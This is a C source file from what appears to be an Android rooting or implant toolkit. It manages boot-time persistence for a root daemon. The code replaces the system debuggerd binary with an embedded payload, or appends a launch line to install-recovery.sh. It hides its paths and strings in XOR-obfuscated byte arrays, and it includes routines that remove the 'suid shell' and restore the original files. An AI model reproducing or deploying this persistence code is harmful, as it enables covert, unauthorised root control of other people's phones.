selinux_native/jni/utils/boot_manager.c
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mount.h>
#include <sys/param.h>
#include <sys/time.h>
#include <sys/mman.h>
#include <linux/netlink.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <stdlib.h>
#include <math.h>
#include <dlfcn.h>
#include <elf.h>
#include <sys/system_properties.h>
#include <errno.h>
#include <jni.h>
#include <android/log.h>
#include <dirent.h>
#include <linux/reboot.h>
#include <linux/fb.h>
#include <linux/kd.h>
#include "log.h"
#include "shell_params.h"
#include "deobfuscate.h"
#include "old_shell.h"
#include "runner_bin.h"
#include "util.h"
#include "boot_manager.h"
// Create the boot script through debuggerd service
int createDebuggerdBootScript(int is_64bit) {
FILE *f1 = NULL;
FILE *f2 = NULL;
char install_script[1024];
char install_script_32_64[128];
struct stat st;
static unsigned char sh_script[] = "\xc6\x25\xf3\x2f\x29\x2b\xff\xc1\xff\xf2\xed\xf5\x2b\xec\xf1\xe8\x2b\xff\xf6"; // "#!/system/bin/sh"
static unsigned char system_str[] = "\x76\xcb\xba\xef\x1b\x11\x1b\x06\x15\x2d"; // "/system"
memset(install_script, 0, sizeof(install_script));
memset(install_script_32_64, 0, sizeof(install_script_32_64));
if(is_64bit)
snprintf(install_script_32_64, sizeof(install_script_32_64), "%s64", deobfuscate(INSTALL_SCRIPT));
else
snprintf(install_script_32_64, sizeof(install_script_32_64), "%s", deobfuscate(INSTALL_SCRIPT));
// Create a copy of the original binary
f1 = fopen(install_script_32_64, "r");
f2 = fopen(deobfuscate(INSTALL_SCRIPT_BAK), "w");
if(!f1 || !f2)
return -1;
if(fcopy(f1, f2) < 0)
return -1;
fclose(f1);
fclose(f2);
chmod(deobfuscate(INSTALL_SCRIPT_BAK), 0755);
// Delete it!
remove(install_script_32_64);
// Create the install script
f1 = fopen(install_script_32_64, "w");
fwrite(&runner, 1, sizeof(runner), f1);
fclose(f1);
chmod(install_script_32_64, 0755);
return 0;
}
// Create the boot script through the install-recovery.sh
int createRecoveryBootScript() {
FILE *f1 = NULL;
FILE *f2 = NULL;
char install_script[1024];
struct stat st;
static unsigned char sh_script[] = "\xc6\x25\xf3\x2f\x29\x2b\xff\xc1\xff\xf2\xed\xf5\x2b\xec\xf1\xe8\x2b\xff\xf6"; // "#!/system/bin/sh"
static unsigned char system_str[] = "\x76\xcb\xba\xef\x1b\x11\x1b\x06\x15\x2d"; // "/system"
static unsigned char daemon_opt[] = "\x70\x91\xe9\x7f\x7f\x34\x33\x37\x3f\x21\x3e"; // "--daemon"
memset(install_script, 0, sizeof(install_script));
// Copy root boot script
if(stat(deobfuscate(INSTALL_REC_SCRIPT), &st) < 0) {
// Boot script (install-recovery.sh) doesn't exist yet
LOGD("Boot script install-recovery.sh not present");
f2 = fopen(deobfuscate(INSTALL_REC_SCRIPT), "w");
if(!f2)
return -1;
fprintf(f2, "%s\n%s %s &\n", deobfuscate(sh_script), deobfuscate(ROOT_BIN), deobfuscate(daemon_opt));
fclose(f2);
}
else {
// Boot script alredy exists
LOGD("Boot script install-recovery.sh already exists");
chmod(deobfuscate(INSTALL_REC_SCRIPT), 0755);
// Create a backup copy of the original file
f1 = fopen(deobfuscate(INSTALL_REC_SCRIPT), "r");
f2 = fopen(deobfuscate(INSTALL_REC_SCRIPT_BAK), "w");
if(!f1 || !f2)
return -1;
if(fcopy(f1, f2) < 0)
return -1;
fclose(f1);
fclose(f2);
chmod(deobfuscate(INSTALL_REC_SCRIPT_BAK), 0755);
// Ok, now append our content to the script file
snprintf(install_script, sizeof(install_script), "\n%s %s &\n", deobfuscate(ROOT_BIN), deobfuscate(daemon_opt));
append_content(install_script, deobfuscate(INSTALL_REC_SCRIPT));
}
chmod(deobfuscate(INSTALL_REC_SCRIPT), 0755);
return 0;
}
// Create the proper boot script
int createBootScript() {
static unsigned char debuggerd_str[] = "\xe8\x4b\x84\xad\x93\xae\xa2\x87\x9d\x93\x58\x9c\x93\x9e\xa3\x91\x91\x93\xae\x9c\x58\x59\xad\x97\xad\xac\x93\x9b\x59\x9e\x87\x9a\x59\x9c\x93\x9e\xa3\x91\x91\x93\xae\x9c"; // "service debuggerd /system/bin/debuggerd"
static unsigned char init_str[] = "\x66\x6f\x01\xd7\x11\x18\x11\xee\xd8\xec\x1b"; // "/init.rc"
struct stat st;
char *init_dump = (char *)read_file(deobfuscate(init_str));
if(strstr(init_dump, deobfuscate(debuggerd_str)) == NULL) {
LOGD("Debuggerd service not present. Using install-recovery.sh.\n");
return createRecoveryBootScript();
}
else {
LOGD("Debuggerd service found in init.rc\n");
if(stat(deobfuscate(INSTALL_SCRIPT), &st) >= 0)
return createDebuggerdBootScript(0);
else
return createDebuggerdBootScript(1);
}
// Never reached
return 0;
}
// Remove the debuggerd boot script
int removeDebuggerdBootScript() {
static unsigned char system_dir[] = "\xfb\x8b\x77\xd4\x98\x86\x98\x91\xa2\xaa"; // "/system"
char install_script_32_64[128];
struct stat st;
if(stat(deobfuscate(INSTALL_SCRIPT), &st) >= 0)
snprintf(install_script_32_64, sizeof(install_script_32_64), "%s", deobfuscate(INSTALL_SCRIPT));
else
snprintf(install_script_32_64, sizeof(install_script_32_64), "%s64", deobfuscate(INSTALL_SCRIPT));
LOGD("Removing suid shell and debuggerd boot script\n");
// Delete the boot script
unlink(install_script_32_64);
LOGD("Restoring original debuggerd script");
rename(deobfuscate(INSTALL_SCRIPT_BAK), install_script_32_64);
chmod(install_script_32_64, 0755);
unlink(deobfuscate(INSTALL_SCRIPT_BAK));
// Remove root client
unlink(deobfuscate(ROOT_BIN));
return 0;
}
// Remove the recovery boot script
int removeRecoveryBootScript() {
static unsigned char system_dir[] = "\xfb\x8b\x77\xd4\x98\x86\x98\x91\xa2\xaa"; // "/system"
struct stat st;
LOGD("Removing suid shell and install-recovery.sh boot script\n");
// Delete the boot script and check if we have to restore it
unlink(deobfuscate(INSTALL_REC_SCRIPT));
if(stat(deobfuscate(INSTALL_REC_SCRIPT_BAK), &st) >= 0) {
LOGD("Restoring original install script");
rename(deobfuscate(INSTALL_REC_SCRIPT_BAK), deobfuscate(INSTALL_REC_SCRIPT));
chmod(deobfuscate(INSTALL_REC_SCRIPT), 0755);
}
unlink(deobfuscate(ROOT_BIN));
return 0;
}
// Remove the proper boot script
int removeBootScript() {
struct stat st;
// We need to understand how the shell was installed
// If we used debuggerd as boot script
if(stat(deobfuscate(INSTALL_SCRIPT_BAK), &st) >= 0)
return removeDebuggerdBootScript();
else
return removeRecoveryBootScript();
// Never reached
return 0;
}